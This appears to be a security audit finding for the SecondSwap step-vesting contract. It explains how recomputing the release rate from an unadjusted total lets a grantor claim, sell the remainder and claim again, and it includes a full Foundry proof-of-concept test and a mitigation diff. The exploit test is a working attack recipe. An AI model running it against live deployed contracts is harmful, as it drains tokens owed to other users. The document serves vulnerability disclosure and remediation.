Finding description and impact
Root cause:
SecondSwap_Step_Vesting::transferVesting
updates a grantor's release rate using their adjusted vesting.totalAmount
, and not their actual available tokens. As the vesting.totalAmount
isn't adjusted when users directly claim tokens, an attacker can take advantage of this to claim more tokens than they are allocated. They do this by claiming a certain amount of the vested tokens, selling their remaining allocation and then claiming again before the vesting period ends. After selling their remaining allocation, their vesting.releaseRate
should be 0 but because of the way it is calculated, the actor is able to claim a second time.
Impact:
Bad actor steals value from other users, ultimately causing them to be unable to claim their tokens. They cannot claim as the contract would not have enough tokens to transfer to them.
Proof of Concept
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {SecondSwap_StepVesting, IERC20} from "../../contracts/SecondSwap_StepVesting.sol"; import {SecondSwap_VestingManager} from "../../contracts/SecondSwap_VestingManager.sol"; import {SecondSwap_VestingDeployer} from "../../contracts/SecondSwap_VestingDeployer.sol"; import {SecondSwap_Marketplace} from "../../contracts/SecondSwap_Marketplace.sol"; import {SecondSwap_MarketplaceSetting} from "../../contracts/SecondSwap_MarketplaceSetting.sol"; import {TestToken1} from "../../contracts/USDT.sol"; import {TestERC20} from "./TestERC20.sol"; import {Test, console} from "forge-std/Test.sol"; contract TestForge is Test { SecondSwap_VestingDeployer vestingDeployer; SecondSwap_VestingManager vestingManager; SecondSwap_Marketplace marketplace; SecondSwap_MarketplaceSetting marketplaceSettings; address vesting; address admin; address tokenIssuer; address feeCollector; IERC20 vestingToken; IERC20 paymentToken; IERC20 usdt; uint256 startTime; uint256 endTime; uint256 numOfSteps; function setUp() public { admin = makeAddr("admin"); tokenIssuer = makeAddr("tokenIssuer"); feeCollector = makeAddr("feeCollector"); vestingToken = IERC20(address(new TestERC20())); paymentToken = IERC20(address(new TestERC20())); startTime = block.timestamp; endTime = startTime + 101; numOfSteps = 10; vestingManager = new SecondSwap_VestingManager(); vestingManager.initialize(admin); vestingDeployer = new SecondSwap_VestingDeployer(); vestingDeployer.initialize(admin, address(vestingManager)); marketplaceSettings = new SecondSwap_MarketplaceSetting( feeCollector, admin, address(vestingDeployer), address(vestingManager), address(usdt) ); marketplace = new SecondSwap_Marketplace(); marketplace.initialize(address(vestingToken), address(marketplaceSettings)); //admin duties vm.startPrank(admin); vestingManager.setVestingDeployer(address(vestingDeployer)); vestingManager.setMarketplace(address(marketplace)); vestingDeployer.setTokenOwner(address(vestingToken), tokenIssuer); marketplace.addCoin(address(paymentToken)); vm.stopPrank(); //create vesting plan vm.startPrank(tokenIssuer); vestingDeployer.deployVesting(address(vestingToken), startTime, endTime, numOfSteps, ""); //gotten from above console emit vesting = 0x5B0091f49210e7B2A57B03dfE1AB9D08289d9294; //set maxSellPercent vestingManager.setMaxSellPercent(vesting, 5000); //approvals TestERC20(address(vestingToken)).mint(100100e18); TestERC20(address(vestingToken)).approve(address(vesting), 100100e18); vm.stopPrank(); } function testActorCanClaimMoreTokensThanTheyShould() public { address actor = makeAddr("actor"); address unluckyUser = makeAddr("unlucky user"); uint256 originalAmount = 100e18; //tokenIssuer creates vestings vm.startPrank(tokenIssuer); vestingDeployer.createVesting(actor, originalAmount, vesting); //larger amount for unluckyUser to demonstrate impact vestingDeployer.createVesting(unluckyUser, originalAmount * 1000, vesting); vm.stopPrank(); vm.startPrank(actor); //actor claims 50% of vesting. vm.warp(51); SecondSwap_StepVesting(vesting).claim(); //actor sells the remaining 50% of vesting uint256 sellAmount = 50e18; marketplace.listVesting( vesting, sellAmount, 10e18, 0, SecondSwap_Marketplace.ListingType.SINGLE, SecondSwap_Marketplace.DiscountType.NO, 0, address(paymentToken), 1e18, false ); //actor's available amount should be zero uint256 available = SecondSwap_StepVesting(vesting).available(actor); assertEq(available, 0); //move time so numOfSteps - 1 step(s) is available to claim. They should not be able to claim extra tokens but they can vm.warp(91); SecondSwap_StepVesting(vesting).claim(); (uint256 actorStepsClaimed, uint256 actorAmountClaimed,,) = SecondSwap_StepVesting(vesting)._vestings(actor); console.log("Steps Claimed", actorStepsClaimed); console.log("Amount Claimed", actorAmountClaimed); assertGt(actorAmountClaimed + sellAmount, originalAmount); vm.stopPrank(); //unluckyUser buys above vesting. //note: unluckyUser doesn't have to directly buy the vesting, anyone can. It becomes a game of hot potato as users claim and the contract's balance reduces, ultimately some users or an unlucky user gets burnt. vm.startPrank(unluckyUser); TestERC20(address(paymentToken)).mint(10000e18); TestERC20(address(paymentToken)).approve(address(marketplace), 10000e18); marketplace.spotPurchase(vesting, 0, 50e18, address(0)); //they cannot claim their tokens vm.warp(102); vm.expectRevert(); SecondSwap_StepVesting(vesting).claim(); vm.stopPrank(); }
Recommended mitigation steps
In SecondSwap::transferVesting
:
//add these + (uint256 claimableAmount,) = claimable(_grantor); + grantorVesting.releaseRate = claimableAmount / numOfSteps; //remove this - grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
Or adjust the SecondSwap_StepVesting::available
function to allow internal calls and use that directly instead of SecondSwap_StepVesting::claimable